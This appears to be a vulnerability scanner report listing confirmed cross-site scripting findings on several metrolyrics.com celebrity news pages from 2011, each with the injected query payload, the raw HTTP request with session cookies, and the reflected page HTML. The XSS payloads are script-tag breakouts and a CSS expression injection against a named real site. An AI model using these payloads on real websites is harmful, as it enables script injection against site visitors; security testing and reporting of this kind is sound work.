- /2011-scarlett-johnsson-head-over-heels-for-sean-penn-news.html
/2011-scarlett-johnsson-head-over-heels-for-sean-penn-news.html
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
Query Based
|
QUERYSTRING
|
'"--></style></script><script>alert(0x00077F)</script>
|
Request
GET /2011-scarlett-johnsson-head-over-heels-for-sean-penn-news.html?'"--></style></script><script>netsparker(0x00077F)</script> HTTP/1.1
Referer: http://www.metrolyrics.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460445; bbsessionhash=e10cebe70021d6be2f59d8cef6bb329f; bblastactivity=1299460453
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.2
Pragma: private
Content-Type: text/html; charset=utf-8
Content-Encoding:
Content-Length: 10324
Cache-Control: private, max-age=3600
Date: Mon, 07 Mar 2011 01:20:55 GMT
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:addthis="http://www.addthis.com/help/api-spec" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="classification" content="music" />
<meta name="description" content="Scarlett Johnsson 'head over heels' for Sean Penn News about Scarlett Johansson" />
<meta name="keywords" content="Scarlett Johnsson 'head over heels' for Sean Penn" />
<meta property="fb:page_id" content="81914997331" />
<title>SCARLETT JOHNSSON 'HEAD OVER HEELS' FOR SEAN PENN</title>
<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<link rel="search" type="application/opensearchdescription+xml" title="metrolyrics" href="/tools/ff_search_bar.xml" />
<link href="/xml/justreleased.xml" rel="alternate" type="application/rss+xml" title="Recently Released Albums" />
<link href="/xml/futurerelease.xml" rel="alternate" type="application/rss+xml" title="Upcoming Album Releases" />
<link href="/xml/topartists.xml" rel="alternate" type="application/rss+xml" title="Top 20 Artists This Week" />
<link href="/xml/topsongs.xml" rel="alternate" type="application/rss+xml" title="Top 20 Lyrics This Week" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript">
<!--//
//variables
var noEgg = false;
var nav={"activeTab":"news","section":"Scarlett Johansson","sectionURL":"scarlett-johansson-lyrics.html","title":"Scarlett Johnsson 'head over heels' for Sean Penn"},
//Set dev server flag
is_dev = false,
//Analytics vars
_comscore = _comscore || [],
_gaq = _gaq || [];
//end analytics vars
//end variables
//start comscore tag
_comscore.push({ c1: "2", c2: "6036538", c3: "" });
(function() {
var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
el.parentNode.insertBefore(s, el);
})();
// Google tracking
_gaq.push(
['_setAccount', 'UA-50802-1'],
['_setCustomVar',1,"User Group ID",1,2],
['_trackPageview']
);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
// End Google tracking
//page specific JS
//End page specific JS
//-->
</script>
<link href="/css/g/artist_v2_sprite.css" rel="stylesheet" type="text/css" media="screen" />
<!--[if IE 6]>
<script type="text/javascript" src="/js/iepngfix_tilebg.js"></script>
<![endif]-->
<script type="text/javascript">
__compete_code = '1980f0cd513fe80da3622c2ebed79163';
(function () {
var s = document.createElement('script'),
e = document.getElementsByTagName('script')[0],
t = document.location.protocol.toLowerCase() === 'https:' ?
'https://c.compete.com/bootstrap/' :
'http://c.compete.com/bootstrap/';
s.src = t + __compete_code + '/bootstrap.js';
s.type = 'text/javascript';
s.async = true;
if (e) { e.parentNode.insertBefore(s, e); }
}());
</script>
<!-- Quantcast Tag -->
<script type="text/javascript">
var _qevents = _qevents || [];
(function() {
var elem = document.createElement('script');
elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js";
elem.async = true;
elem.type = "text/javascript";
var scpt = document.getElementsByTagName('script')[0];
scpt.parentNode.insertBefore(elem, scpt);
})();
_qevents.push({
qacct:"p-c4eKHIvvd1eXQ"
});
</script>
<noscript>
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-c4eKHIvvd1eXQ.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
</noscript>
<!-- End Quantcast tag -->
</head>
<!--[if IE 6 ]><body class="ie6"><![endif]-->
<!--[if IE 7 ]><body class="ie7"><![endif]-->
<!--[if gt IE 6 ]><body><![endif]-->
<!--[if !IE]><!--><body><!--<![endif]-->
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<div id="bg-main">
<!-- Begin comScore Tag -->
<noscript>
<div style="display:none"> <img src="http://b.scorecardresearch.com/p?c1=2&c2=6036538&c3=&c4=&c5=&c6=&c15=&cj=1" alt="scorecard tracking image"/> </div>
</noscript>
<!-- End comScore Tag -->
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_1x1;tile=1;sz=1x1;ord=1299460855?"></script>
<div id="header">
<h1>Scarlett Johnsson 'head over heels' for Sean Penn</h1>
<div id="hdr-scroll">
<div id="hdr-scrollmenu">
<script type="text/javascript">var addthis_config = {ui_hover_direction: -1, data_ga_property: 'UA-50802-1', "data_track_clickback":true};</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=metroleap"></script>
<ul>
<li class="first"><img src="http://misc.ml-cdn.com/images/n2/loading_inline.gif" alt="Loading..." /></li>
</ul>
</div>
<div id="hdr-scrollsearch">
<form action="/search.php" method="get">
<input type="text" name="search" onclick="_gaq.push(['_trackEvent', 'Search', 'Header Dropdown Click']);if (this.value == 'Search ...') this.value=''" value="Search ..." onblur="if(this.value == '') this.value='Search ...'" id="hdr-scrollsearchip" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-scrollsearchbtn" />
</form>
</div>
</div>
<div id="headertop">
<div class="headerwrap">
<ul id="navmain">
<li id="hdr-lyrics" class="navprimaryli" data-tabname="lyrics">
<a href="/" class="navprimarya" title="Lyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Lyrics']);"><span></span>Lyrics</a>
<div id="hdr-sub-lyrics" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-artists" class="navprimaryli" data-tabname="artists">
<a href="/top-artists.html" title="Artists" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Artists']);"><span></span>Artists</a>
<div id="hdr-sub-artists" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-soundtracks" class="navprimaryli" data-tabname="soundtracks">
<a href="/soundtracks.html" title="soundtracks" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Soundtracks']);"><span></span>Soundtracks</a>
<div id="hdr-sub-soundtracks" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-news" class="navprimaryli" data-tabname="news">
<a href="/news.html" title="News" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'News']);"><span></span>News</a>
<div id="hdr-sub-news" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-apps" class="navprimaryli" data-tabname="apps">
<a href="/apps.html" title="Apps" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Apps']);"><span></span>Apps</a>
<div id="hdr-sub-apps" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-forum" class="navprimaryli" data-tabname="forum">
<a href="/forum/" title="Forum" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Forum']);"><span></span>Forum</a>
<div id="hdr-sub-forum" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-driver" class="navprimaryli">
<a href="http://itunes.apple.com/us/app/metrolyrics-pro/id370144420?mt=8" target="_blank" rel="nofollow" title="Get our iPhone App" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Driver Click', 'metrolyrics Pro App']);">Contests</a>
</li>
</ul>
<ul id="myml">
<li class="navprimaryli"><a href="/request.php" title="My MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'My MetroLyrics', 'Not logged in']);">My MetroLyrics<span></span></a></li>
<li class="navprimaryli"><div id="fb_login_btn"><fb:login-button size="small" perms="email"></fb:login-button></div><div id="fb-root"></div></li>
<li class="myml-alt myml-altfirst navprimaryli"><a href="/register.php" title="Sign Up for MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Sign Up']);">Sign Up</a></li>
<li class="myml-alt navprimaryli"><a rel="nofollow" id="login_link" class="iframe" href="/login.php" title="Login" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Log In']);">Log In</a></li>
</ul>
</div>
</div>
<div id="headermid">
<div class="headerwrap">
<div id="headerlogo"><a href="/" title="Home">MetroLyrics</a></div>
<div id="headersearch">
<form method="get" action="/search.php">
<input type="hidden" name="category" value="artisttitle" />
<input type="text" name="search" onclick="if (this.value == 'Find Your Lyrics, Artists, Videos, more...') this.value='';_gaq.push(['_trackEvent', 'Search', 'Header Main Click']);" value="Find Your Lyrics, Artists, Videos, more..." onblur="if(this.value == '') this.value='Find Your Lyrics, Artists, Videos, more...'" id="hdr-ipsearch" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-btnsearch" />
</form>
<p id="hdr-browse"></p>
</div>
</div>
</div>
<div id="headerbot">
<div class="headerwrap">
<p id="breadcrumbs">
<a href="/" id="bc-home" title="Home">Home</a> »
<a href="#" id="bc-tab"></a>
</p>
</div>
</div>
<div id="headerad">
<div id="hdrleaderboard">
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_728x90;tile=2;sz=728x90;ord=1299460855?"></script>
</div>
<div id="hdrsocial">
<div class="addthis_default_style">
<a class="addthis_button_facebook_like" fb:like:layout="box_count" fb:like:width="48" fb:like:height="63" addthis:url="http://www.facebook.com/metrolyrics"></a>
<a class="addthis_button_tweet" tw:count="vertical" addthis:url="http://www.metrolyrics.com"></a>
<a class="addthis_counter"></a>
</div>
</div>
</div>
<div id="headercta"><a href="/register.php" title="Join MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Header', 'Join Community Image']);">Join the MetroLyrics Community Today!</a></div>
</div>
<div id="main">
<div id="LRcolumns">
<div id="left">
<div id="Acolumn">
<div id="navLeft">
<img src="http://artists.ml-cdn.com/profile/1207681262Scarlett-JohanssonProfile.jpg" alt="Scarlett Johansson" width="166" />
<h2><a href="scarlett-johansson-overview.html" title="Scarlett Johansson Overview">Scarlett Johansson</a></h2>
<p class="addtofav">
<a href="request.php?dothis=become_a_fan&artistid=1207681262" title="Add to My Favorites">Add to My Favorites</a>
</p>
<ul id="artistnav" title="News-int/scarlett-johansson/1207681262/0">
<li><a title="Scarlett Johansson Overview" href="/scarlett-johansson-overview.html" >Overview</a></li>
<li><a title="Scarlett Johansson News" href="/scarlett-johansson-gossip-news.html" >News</a></li>
<li><a title="Scarlett Johansson Awards" href="/scarlett-johansson-awards-featured.html" >Awards</a></li>
<li><a title="Scarlett Johansson Albums" href="/scarlett-johansson-albums-list.html" >Albums</a></li>
<li><a title="Scarlett Johansson Lyrics" href="/scarlett-johansson-lyrics.html" >Lyrics</a></li>
<li><a title="Scarlett Johansson Videos" href="/scarlett-johansson-music-videos.html" >Videos</a></li>
<li><a title="Scarlett Johansson Pictures" href="/scarlett-johansson-pictures.html" >Pictures</a></li>
</ul>
</div>
<div class="module" id="ipod"><script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_160x600;tile=4;sz=160x600;ord=1299460855?"></script></div>
<div class="module"><div id="jqpollwrapper">
<div id="jqpoll">
<div id="jqpollhdr"><h4><span class="icoPoll"> </span>Poll</h4></div>
<div id="jqpollbody">
<p>Have you downloaded our iPhone app?</p>
- /2011-lionel-richie-in-tears-as-he-traces-ancestry-news.html
/2011-lionel-richie-in-tears-as-he-traces-ancestry-news.html
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
Query Based
|
QUERYSTRING
|
></script><script>alert(9)</script>
|
Request
GET /2011-lionel-richie-in-tears-as-he-traces-ancestry-news.html?></script><script>netsparker(9)</script> HTTP/1.1
Referer: http://www.metrolyrics.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460445; bbsessionhash=e10cebe70021d6be2f59d8cef6bb329f; bblastactivity=1299460453
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Server: LiteSpeed
X-Powered-By: PHP/5.3.2
Pragma: private
Content-Type: text/html; charset=utf-8
Content-Encoding:
Content-Length: 10507
Cache-Control: private, max-age=3600
Date: Mon, 07 Mar 2011 01:21:33 GMT
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:addthis="http://www.addthis.com/help/api-spec" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="classification" content="music" />
<meta name="description" content="Lionel Richie in tears as he traces ancestry News about Lionel Richie" />
<meta name="keywords" content="Lionel Richie in tears as he traces ancestry" />
<meta property="fb:page_id" content="81914997331" />
<title>LIONEL RICHIE IN TEARS AS HE TRACES ANCESTRY</title>
<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<link rel="search" type="application/opensearchdescription+xml" title="metrolyrics" href="/tools/ff_search_bar.xml" />
<link href="/xml/justreleased.xml" rel="alternate" type="application/rss+xml" title="Recently Released Albums" />
<link href="/xml/futurerelease.xml" rel="alternate" type="application/rss+xml" title="Upcoming Album Releases" />
<link href="/xml/topartists.xml" rel="alternate" type="application/rss+xml" title="Top 20 Artists This Week" />
<link href="/xml/topsongs.xml" rel="alternate" type="application/rss+xml" title="Top 20 Lyrics This Week" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript">
<!--//
//variables
var noEgg = false;
var nav={"activeTab":"news","section":"Lionel Richie","sectionURL":"lionel-richie-lyrics.html","title":"Lionel Richie in tears as he traces ancestry"},
//Set dev server flag
is_dev = false,
//Analytics vars
_comscore = _comscore || [],
_gaq = _gaq || [];
//end analytics vars
//end variables
//start comscore tag
_comscore.push({ c1: "2", c2: "6036538", c3: "" });
(function() {
var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
el.parentNode.insertBefore(s, el);
})();
// Google tracking
_gaq.push(
['_setAccount', 'UA-50802-1'],
['_setCustomVar',1,"User Group ID",1,2],
['_trackPageview']
);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
// End Google tracking
//page specific JS
//End page specific JS
//-->
</script>
<link href="/css/g/artist_v2_sprite.css" rel="stylesheet" type="text/css" media="screen" />
<!--[if IE 6]>
<script type="text/javascript" src="/js/iepngfix_tilebg.js"></script>
<![endif]-->
<script type="text/javascript">
__compete_code = '1980f0cd513fe80da3622c2ebed79163';
(function () {
var s = document.createElement('script'),
e = document.getElementsByTagName('script')[0],
t = document.location.protocol.toLowerCase() === 'https:' ?
'https://c.compete.com/bootstrap/' :
'http://c.compete.com/bootstrap/';
s.src = t + __compete_code + '/bootstrap.js';
s.type = 'text/javascript';
s.async = true;
if (e) { e.parentNode.insertBefore(s, e); }
}());
</script>
<!-- Quantcast Tag -->
<script type="text/javascript">
var _qevents = _qevents || [];
(function() {
var elem = document.createElement('script');
elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js";
elem.async = true;
elem.type = "text/javascript";
var scpt = document.getElementsByTagName('script')[0];
scpt.parentNode.insertBefore(elem, scpt);
})();
_qevents.push({
qacct:"p-c4eKHIvvd1eXQ"
});
</script>
<noscript>
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-c4eKHIvvd1eXQ.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
</noscript>
<!-- End Quantcast tag -->
</head>
<!--[if IE 6 ]><body class="ie6"><![endif]-->
<!--[if IE 7 ]><body class="ie7"><![endif]-->
<!--[if gt IE 6 ]><body><![endif]-->
<!--[if !IE]><!--><body><!--<![endif]-->
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<div id="bg-main">
<!-- Begin comScore Tag -->
<noscript>
<div style="display:none"> <img src="http://b.scorecardresearch.com/p?c1=2&c2=6036538&c3=&c4=&c5=&c6=&c15=&cj=1" alt="scorecard tracking image"/> </div>
</noscript>
<!-- End comScore Tag -->
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_1x1;tile=1;sz=1x1;ord=1299460893?"></script>
<div id="header">
<h1>Lionel Richie in tears as he traces ancestry</h1>
<div id="hdr-scroll">
<div id="hdr-scrollmenu">
<script type="text/javascript">var addthis_config = {ui_hover_direction: -1, data_ga_property: 'UA-50802-1', "data_track_clickback":true};</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=metroleap"></script>
<ul>
<li class="first"><img src="http://misc.ml-cdn.com/images/n2/loading_inline.gif" alt="Loading..." /></li>
</ul>
</div>
<div id="hdr-scrollsearch">
<form action="/search.php" method="get">
<input type="text" name="search" onclick="_gaq.push(['_trackEvent', 'Search', 'Header Dropdown Click']);if (this.value == 'Search ...') this.value=''" value="Search ..." onblur="if(this.value == '') this.value='Search ...'" id="hdr-scrollsearchip" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-scrollsearchbtn" />
</form>
</div>
</div>
<div id="headertop">
<div class="headerwrap">
<ul id="navmain">
<li id="hdr-lyrics" class="navprimaryli" data-tabname="lyrics">
<a href="/" class="navprimarya" title="Lyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Lyrics']);"><span></span>Lyrics</a>
<div id="hdr-sub-lyrics" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-artists" class="navprimaryli" data-tabname="artists">
<a href="/top-artists.html" title="Artists" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Artists']);"><span></span>Artists</a>
<div id="hdr-sub-artists" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-soundtracks" class="navprimaryli" data-tabname="soundtracks">
<a href="/soundtracks.html" title="soundtracks" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Soundtracks']);"><span></span>Soundtracks</a>
<div id="hdr-sub-soundtracks" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-news" class="navprimaryli" data-tabname="news">
<a href="/news.html" title="News" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'News']);"><span></span>News</a>
<div id="hdr-sub-news" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-apps" class="navprimaryli" data-tabname="apps">
<a href="/apps.html" title="Apps" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Apps']);"><span></span>Apps</a>
<div id="hdr-sub-apps" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-forum" class="navprimaryli" data-tabname="forum">
<a href="/forum/" title="Forum" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Forum']);"><span></span>Forum</a>
<div id="hdr-sub-forum" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-driver" class="navprimaryli">
<a href="http://itunes.apple.com/us/app/metrolyrics-pro/id370144420?mt=8" target="_blank" rel="nofollow" title="Get our iPhone App" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Driver Click', 'metrolyrics Pro App']);">Contests</a>
</li>
</ul>
<ul id="myml">
<li class="navprimaryli"><a href="/request.php" title="My MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'My MetroLyrics', 'Not logged in']);">My MetroLyrics<span></span></a></li>
<li class="navprimaryli"><div id="fb_login_btn"><fb:login-button size="small" perms="email"></fb:login-button></div><div id="fb-root"></div></li>
<li class="myml-alt myml-altfirst navprimaryli"><a href="/register.php" title="Sign Up for MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Sign Up']);">Sign Up</a></li>
<li class="myml-alt navprimaryli"><a rel="nofollow" id="login_link" class="iframe" href="/login.php" title="Login" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Log In']);">Log In</a></li>
</ul>
</div>
</div>
<div id="headermid">
<div class="headerwrap">
<div id="headerlogo"><a href="/" title="Home">MetroLyrics</a></div>
<div id="headersearch">
<form method="get" action="/search.php">
<input type="hidden" name="category" value="artisttitle" />
<input type="text" name="search" onclick="if (this.value == 'Find Your Lyrics, Artists, Videos, more...') this.value='';_gaq.push(['_trackEvent', 'Search', 'Header Main Click']);" value="Find Your Lyrics, Artists, Videos, more..." onblur="if(this.value == '') this.value='Find Your Lyrics, Artists, Videos, more...'" id="hdr-ipsearch" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-btnsearch" />
</form>
<p id="hdr-browse"></p>
</div>
</div>
</div>
<div id="headerbot">
<div class="headerwrap">
<p id="breadcrumbs">
<a href="/" id="bc-home" title="Home">Home</a> »
<a href="#" id="bc-tab"></a>
</p>
</div>
</div>
<div id="headerad">
<div id="hdrleaderboard">
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_728x90;tile=2;sz=728x90;ord=1299460893?"></script>
</div>
<div id="hdrsocial">
<div class="addthis_default_style">
<a class="addthis_button_facebook_like" fb:like:layout="box_count" fb:like:width="48" fb:like:height="63" addthis:url="http://www.facebook.com/metrolyrics"></a>
<a class="addthis_button_tweet" tw:count="vertical" addthis:url="http://www.metrolyrics.com"></a>
<a class="addthis_counter"></a>
</div>
</div>
</div>
<div id="headercta"><a href="/register.php" title="Join MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Header', 'Join Community Image']);">Join the MetroLyrics Community Today!</a></div>
</div>
<div id="main">
<div id="LRcolumns">
<div id="left">
<div id="Acolumn">
<div id="navLeft">
<img src="http://artists.ml-cdn.com/profile/7155LionelRichieProfile.jpg" alt="Lionel Richie" width="166" />
<h2><a href="lionel-richie-overview.html" title="Lionel Richie Overview">Lionel Richie</a></h2>
<p class="addtofav">
<a href="request.php?dothis=become_a_fan&artistid=7155" title="Add to My Favorites">Add to My Favorites</a>
</p>
<ul id="artistnav" title="News-int/lionel-richie/7155/0">
<li><a title="Lionel Richie Overview" href="/lionel-richie-overview.html" >Overview</a></li>
<li><a title="Lionel Richie News" href="/lionel-richie-gossip-news.html" >News</a></li>
<li><a title="Lionel Richie Awards" href="/lionel-richie-awards-featured.html" >Awards</a></li>
<li><a title="Lionel Richie Albums" href="/lionel-richie-albums-list.html" >Albums</a></li>
<li><a title="Lionel Richie Lyrics" href="/lionel-richie-lyrics.html" >Lyrics</a></li>
<li><a title="Lionel Richie Videos" href="/lionel-richie-music-videos.html" >Videos</a></li>
<li><a title="Lionel Richie Pictures" href="/lionel-richie-pictures.html" >Pictures</a></li>
</ul>
</div>
<div class="module" id="ipod"><script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_160x600;tile=4;sz=160x600;ord=1299460893?"></script></div>
<div class="module"><div id="jqpollwrapper">
<div id="jqpoll">
<div id="jqpollhdr"><h4><span class="icoPoll"> </span>Poll</h4></div>
<div id="jqpollbody">
<p>Have you downloaded our iPhone app?</p>
<ul id="pollresults">
<li style="display:none"></li>
<li><input type="radio" name="poll" value="5_18" />Y..
- /2011-kylie-minogue-cries-while-talking-about-cancer-battle-news.html
/2011-kylie-minogue-cries-while-talking-about-cancer-battle-news.html
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
nsextt
|
GET
|
" stYle=x:expre/**/ssion(alert(9)) ns="
|
Request
GET /2011-kylie-minogue-cries-while-talking-about-cancer-battle-news.html?nsextt=%22%20stYle=x:expre/**/ssion(netsparker(9))%20ns=%22 HTTP/1.1
Referer: http://www.metrolyrics.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460445; bbsessionhash=e10cebe70021d6be2f59d8cef6bb329f; bblastactivity=1299460453
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Server: LiteSpeed
X-Powered-By: PHP/5.3.2
Pragma: private
Content-Type: text/html; charset=utf-8
Content-Encoding:
Content-Length: 10598
Cache-Control: private, max-age=3600
Date: Mon, 07 Mar 2011 01:21:37 GMT
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:addthis="http://www.addthis.com/help/api-spec" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="classification" content="music" />
<meta name="description" content="Kylie Minogue cries while talking about cancer battle News about Kylie Minogue" />
<meta name="keywords" content="Kylie Minogue cries while talking about cancer battle" />
<meta property="fb:page_id" content="81914997331" />
<title>KYLIE MINOGUE CRIES WHILE TALKING ABOUT CANCER BATTLE</title>
<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<link rel="search" type="application/opensearchdescription+xml" title="metrolyrics" href="/tools/ff_search_bar.xml" />
<link href="/xml/justreleased.xml" rel="alternate" type="application/rss+xml" title="Recently Released Albums" />
<link href="/xml/futurerelease.xml" rel="alternate" type="application/rss+xml" title="Upcoming Album Releases" />
<link href="/xml/topartists.xml" rel="alternate" type="application/rss+xml" title="Top 20 Artists This Week" />
<link href="/xml/topsongs.xml" rel="alternate" type="application/rss+xml" title="Top 20 Lyrics This Week" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript">
<!--//
//variables
var noEgg = false;
var nav={"activeTab":"news","section":"Kylie Minogue","sectionURL":"kylie-minogue-lyrics.html","title":"Kylie Minogue cries while talking about cancer battle"},
//Set dev server flag
is_dev = false,
//Analytics vars
_comscore = _comscore || [],
_gaq = _gaq || [];
//end analytics vars
//end variables
//start comscore tag
_comscore.push({ c1: "2", c2: "6036538", c3: "" });
(function() {
var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
el.parentNode.insertBefore(s, el);
})();
// Google tracking
_gaq.push(
['_setAccount', 'UA-50802-1'],
['_setCustomVar',1,"User Group ID",1,2],
['_trackPageview']
);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
